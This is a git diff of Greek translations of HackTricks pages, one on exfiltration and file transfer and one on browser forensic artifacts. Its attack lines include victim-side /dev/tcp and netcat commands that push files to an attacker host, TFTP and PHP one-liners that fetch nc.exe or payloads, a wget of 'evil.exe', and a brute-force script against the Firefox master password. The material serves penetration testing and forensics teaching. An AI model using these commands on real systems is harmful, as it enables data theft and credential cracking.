Εάν το θύμα έχει SSH, ο επιτιθέμενος μπορεί να mount έναν κατάλογο από το θύμα στον επιτιθέμενο.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -194,19 +279,19 @@ nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Κατέβασμα αρχείου από το θύμα
### Κατέβασμα αρχείου από victim
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Αποστολή αρχείου στον θύμα
### Μεταφόρτωση αρχείου στο θύμα
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
ευχαριστώ τον **@BinaryShadow\_**
ευχαριστίες σε **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,15 +313,15 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Αν μπορείτε να στείλετε δεδομένα σε έναν SMTP server, μπορείτε να δημιουργήσετε έναν SMTP για να λάβετε τα δεδομένα με python:
Εάν μπορείτε να στείλετε δεδομένα σε έναν SMTP server, μπορείτε να δημιουργήσετε έναν SMTP για να λαμβάνετε τα δεδομένα με python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Κατά προεπιλογή σε XP και 2003 (σε άλλα πρέπει να προστεθεί ρητά κατά την εγκατάσταση)
Ενεργό από προεπιλογή στα XP και 2003 (σε άλλα πρέπει να προστεθεί ρητά κατά την εγκατάσταση)
Στο Kali, **ξεκινήστε τον διακομιστή TFTP**:
Στο Kali, **start TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
@ -248,13 +333,13 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Στο **θύμα**, συνδεθείτε με τον διακομιστή Kali:
Στο **victim**, συνδεθείτε στον Kali server:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Κατεβάστε ένα αρχείο με ένα PHP oneliner:
Κατέβασε ένα αρχείο με PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Το πρόγραμμα `debug.exe` όχι μόνο επιτρέπει την επιθεώρηση δυαδικών αρχείων αλλά έχει επίσης τη **δυνατότητα να τα ξαναχτίσει από hex**. Αυτό σημαίνει ότι παρέχοντας ένα hex ενός δυαδικού αρχείου, το `debug.exe` μπορεί να δημιουργήσει το δυαδικό αρχείο. Ωστόσο, είναι σημαντικό να σημειωθεί ότι το debug.exe έχει μια **περιορισμένη δυνατότητα συναρμολόγησης αρχείων έως 64 kb σε μέγεθος**.
Το πρόγραμμα `debug.exe` όχι μόνο επιτρέπει την επιθεώρηση των binaries αλλά έχει επίσης την **ικανότητα να τα ανακατασκευάζει από hex**. Αυτό σημαίνει ότι παρέχοντας ένα hex ενός binary, `debug.exe` μπορεί να δημιουργήσει το binary file. Ωστόσο, είναι σημαντικό να σημειωθεί ότι debug.exe έχει **περιορισμό στο να συναρμολογεί αρχεία μέχρι 64 kb σε μέγεθος**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Στη συνέχεια, επικολλήστε το κείμενο στο windows-shell και θα δημιουργηθεί ένα αρχείο με όνομα nc.exe.
Στη συνέχεια κάντε αντιγραφή-επικόλληση του κειμένου στο windows-shell και θα δημιουργηθεί ένα αρχείο με το όνομα nc.exe.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +395,10 @@ wine exe2bat.exe nc.exe nc.txt
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## Αναφορές
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,58 +1,58 @@
# Browser Artifacts
# Αποτυπώματα περιηγητή
{{#include ../../../banners/hacktricks-training.md}}
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
## Αποτυπώματα Browsers <a href="#id-3def" id="id-3def"></a>
Τα αρχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους web browsers, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αρχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των browsers, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Τα αποτυπώματα του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους web browsers, όπως το ιστορικό περιήγησης, τους σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αποτυπώματα φυλάσσονται σε συγκεκριμένους φακέλους στο λειτουργικό σύστημα, με διαφορετική τοποθεσία και ονομασία ανά browser, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Ακολουθεί μια σύνοψη των πιο κοινών αρχείων του προγράμματος περιήγησης:
Ακολουθεί μια περίληψη των πιο κοινών αποτυπωμάτων:
- **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης.
- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση.
- **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις ή πρόσθετα του προγράμματος περιήγησης που έχει εγκαταστήσει ο χρήστης.
- **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση.
- **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
- **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
- **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης.
- **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης.
- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
- **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του προγράμματος περιήγησης.
- **Navigation History**: Καταγράφει τις επισκέψεις του χρήστη σε ιστοσελίδες, χρήσιμο για τον εντοπισμό επισκέψεων σε κακόβουλους ιστότοπους.
- **Autocomplete Data**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, που παρέχουν πληροφορίες όταν συνδυάζονται με το ιστορικό περιήγησης.
- **Bookmarks**: Ιστοσελίδες που αποθηκεύτηκαν από τον χρήστη για γρήγορη πρόσβαση.
- **Extensions and Add-ons**: Επεκτάσεις ή πρόσθετα που έχει εγκαταστήσει ο χρήστης.
- **Cache**: Αποθηκεύει περιεχόμενο web (π.χ. εικόνες, αρχεία JavaScript) για βελτίωση των χρόνων φόρτωσης, πολύτιμο για εγκληματολογική ανάλυση.
- **Logins**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
- **Favicons**: Εικονίδια συνδεδεμένα με ιστοτόπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για πρόσθετες πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
- **Browser Sessions**: Δεδομένα σχετικά με ανοιχτές συνεδρίες του περιηγητή.
- **Downloads**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του περιηγητή.
- **Form Data**: Πληροφορίες που εισήχθησαν σε φόρμες web, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
- **Thumbnails**: Εικόνες προεπισκόπησης ιστοσελίδων.
- **Custom Dictionary.txt**: Λέξεις που έχουν προστεθεί από τον χρήστη στο λεξικό του περιηγητή.
## Firefox
Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, αποθηκευμένα σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
Ο Firefox οργανώνει τα δεδομένα χρηστών μέσα σε προφίλ, τα οποία αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί.
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους παραθέτει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο με το όνομα που ορίζεται στη μεταβλητή `Path` μέσα στο `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini`. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί.
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
Μέσα σε κάθε φάκελο προφίλ μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
- Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων.
- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και downloads. Εργαλεία όπως [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να προσπελάσουν τα δεδομένα ιστορικού.
- Χρησιμοποιήστε συγκεκριμένα SQL queries για εξαγωγή πληροφοριών ιστορικού και downloads.
- **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
- **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
- **formhistory.sqlite**: Αποθηκεύει δεδομένα από φόρμες web.
- **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων.
- **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
- **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις.
- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **persdict.dat**: Λέξεις του προσαρμοσμένου λεξικού.
- **addons.json** και **extensions.sqlite**: Πληροφορίες για εγκατεστημένα add-ons και επεκτάσεις.
- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για έλεγχο στα Windows.
- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Αποθηκεύει favicons.
- **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
- **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite.
- **thumbnails**: Μικρογραφίες ιστότοπων.
- **downloads.sqlite**: Παλαιότερη βάση δεδομένων λήψεων, πλέον ενσωματωμένη στο places.sqlite.
- **thumbnails**: Μικρογραφίες ιστοσελίδων.
- **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλιση ευαίσθητων πληροφοριών.
- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης που χρησιμοποιούνται για την προστασία ευαίσθητων πληροφοριών.
Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις εγγραφές `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας αν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Επιπλέον, ο έλεγχος των ρυθμίσεων anti-phishing του περιηγητή μπορεί να γίνει αναζητώντας εγγραφές `browser.safebrowsing` στο `prefs.js`, κάτι που δείχνει εάν οι λειτουργίες safe browsing είναι ενεργές ή απενεργοποιημένες.
Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικού πρόσβασης για brute force:
Για να προσπαθήσετε να αποκρυπτογραφήσετε το κύριο συνθηματικό, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Με το παρακάτω script και την κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικών για brute force:
```bash:brute.sh
#!/bin/bash
@ -67,63 +67,69 @@ done < $passfile
## Google Chrome
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
Το Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα:
Μέσα σε αυτούς τους φακέλους, τα περισσότερα δεδομένα χρήστη βρίσκονται στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικά δεδομένα:
- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων.
- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Σε Windows, το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) μπορεί να χρησιμοποιηθεί για ανάγνωση του ιστορικού. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδας.
- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Σελιδοδείκτες χρηστών.
- **Cache**: Περιέχει δεδομένα cache. Για έλεγχο, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Electron-based desktop apps (π.χ., Discord) χρησιμοποιούν επίσης Chromium Simple Cache και αφήνουν πλούσια artifacts στο δίσκο. Δείτε:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: Σελιδοδείκτες του χρήστη.
- **Web Data**: Περιέχει ιστορικό φορμών.
- **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome.
- **Extensions**: Κατάλογοι για επεκτάσεις και addons του προγράμματος περιήγησης.
- **Favicons**: Αποθηκεύει favicons ιστοσελίδων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως usernames και passwords.
- **Current Session**/**Current Tabs**: Δεδομένα για την τρέχουσα περιήγηση και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες για τους ιστότοπους που ήταν ενεργοί στην τελευταία συνεδρία πριν το κλείσιμο του Chrome.
- **Extensions**: Φάκελοι για επεκτάσεις και πρόσθετα του browser.
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για plugins, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Browsers built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο.
- **Preferences**: Αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για plugins, extensions, pop-ups, notifications και άλλα.
- **Browsers built-in anti-phishing**: Για να ελέγξετε αν το anti-phishing και η προστασία από malware είναι ενεργοποιημένα, τρέξτε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στο αποτέλεσμα.
## **SQLite DB Data Recovery**
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν **SQLite** βάσεις δεδομένων για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτηθούν διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Όπως φαίνεται στις προηγούμενες ενότητες, τόσο το Chrome όσο και το Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για την αποθήκευση δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων εγγραφών χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση των πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
Το Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώντας στο να διαχωρίζονται οι αποθηκευμένες πληροφορίες και οι αντίστοιχες λεπτομέρειες για ευκολότερη πρόσβαση και διαχείριση.
### Metadata Storage
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Μαζί με αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype.
Τα μεταδεδομένα για το Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (όπου VX είναι V01, V16 ή V24). Συνοδευτικά, το αρχείο `V01.log` μπορεί να δείχνει διαφορές χρόνων τροποποίησης σε σχέση με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη για επισκευή με `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια ESE βάση δεδομένων, μπορούν να ανακτηθούν και να εξεταστούν με εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Στον πίνακα **Containers** μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή containers όπου αποθηκεύεται κάθε κομμάτι δεδομένων, συμπεριλαμβανομένων πληροφοριών cache για άλλα εργαλεία της Microsoft όπως το Skype.
### Cache Inspection
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία εξαγωγής των δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache.
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής των δεδομένων της cache. Τα μεταδεδομένα της cache περιλαμβάνουν όνομα αρχείου, κατάλογο, αριθμό προσβάσεων, προέλευση URL και χρονικά στοιχεία που υποδεικνύουν τη δημιουργία, πρόσβαση, τροποποίηση και λήξη της cache.
### Cookies Management
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
Τα cookies μπορούν να εξερευνηθούν με το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με μεταδεδομένα που περιλαμβάνουν ονόματα, URLs, αριθμούς προσβάσεων και διάφορες χρονικές λεπτομέρειες. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, ενώ τα session cookies βρίσκονται στη μνήμη.
### Download Details
Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Τα μεταδεδομένα των λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα containers που κρατούν δεδομένα όπως URL, τύπος αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να εντοπιστούν στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browsing History
Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Για να ελέγξετε το ιστορικό περιήγησης, μπορείτε να χρησιμοποιήσετε το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), παρέχοντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τις ρυθμίσεις για το Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς προσβάσεων. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
Οι πληκτρολογημένες URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους.
Τα πληκτρολογημένα URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο υπό `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τα τελευταία 50 URLs που εισήγαγε ο χρήστης και τους χρόνους τελευταίας εισόδου τους.
## Microsoft Edge
Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
Το Microsoft Edge αποθηκεύει δεδομένα χρήστη στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -133,24 +139,24 @@ done < $passfile
## Safari
Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Κύρια αρχεία περιλαμβάνουν:
Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Βασικά αρχεία περιλαμβάνουν:
- **History.db**: Περιέχει πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις.
- **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία.
- **Bookmarks.plist**: Αποθηκεύει τα URLs των σελιδοδεικτών.
- **History.db**: Περιέχει τους πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε `sqlite3` για ερωτήματα.
- **Downloads.plist**: Πληροφορίες για τα αρχεία που κατεβάστηκαν.
- **Bookmarks.plist**: Αποθηκεύει bookmarked URLs.
- **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι.
- **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε.
- **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
- **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
- **Browsers built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή.
- **Extensions.plist**: Λίστα επεκτάσεων του Safari. Χρησιμοποιήστε `plutil` ή `pluginkit` για ανάκτηση.
- **UserNotificationPermissions.plist**: Domains που έχουν δικαίωμα να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε `plutil` για ανάλυση.
- **LastSession.plist**: Tabs από την τελευταία συνεδρία. Χρησιμοποιήστε `plutil` για ανάλυση.
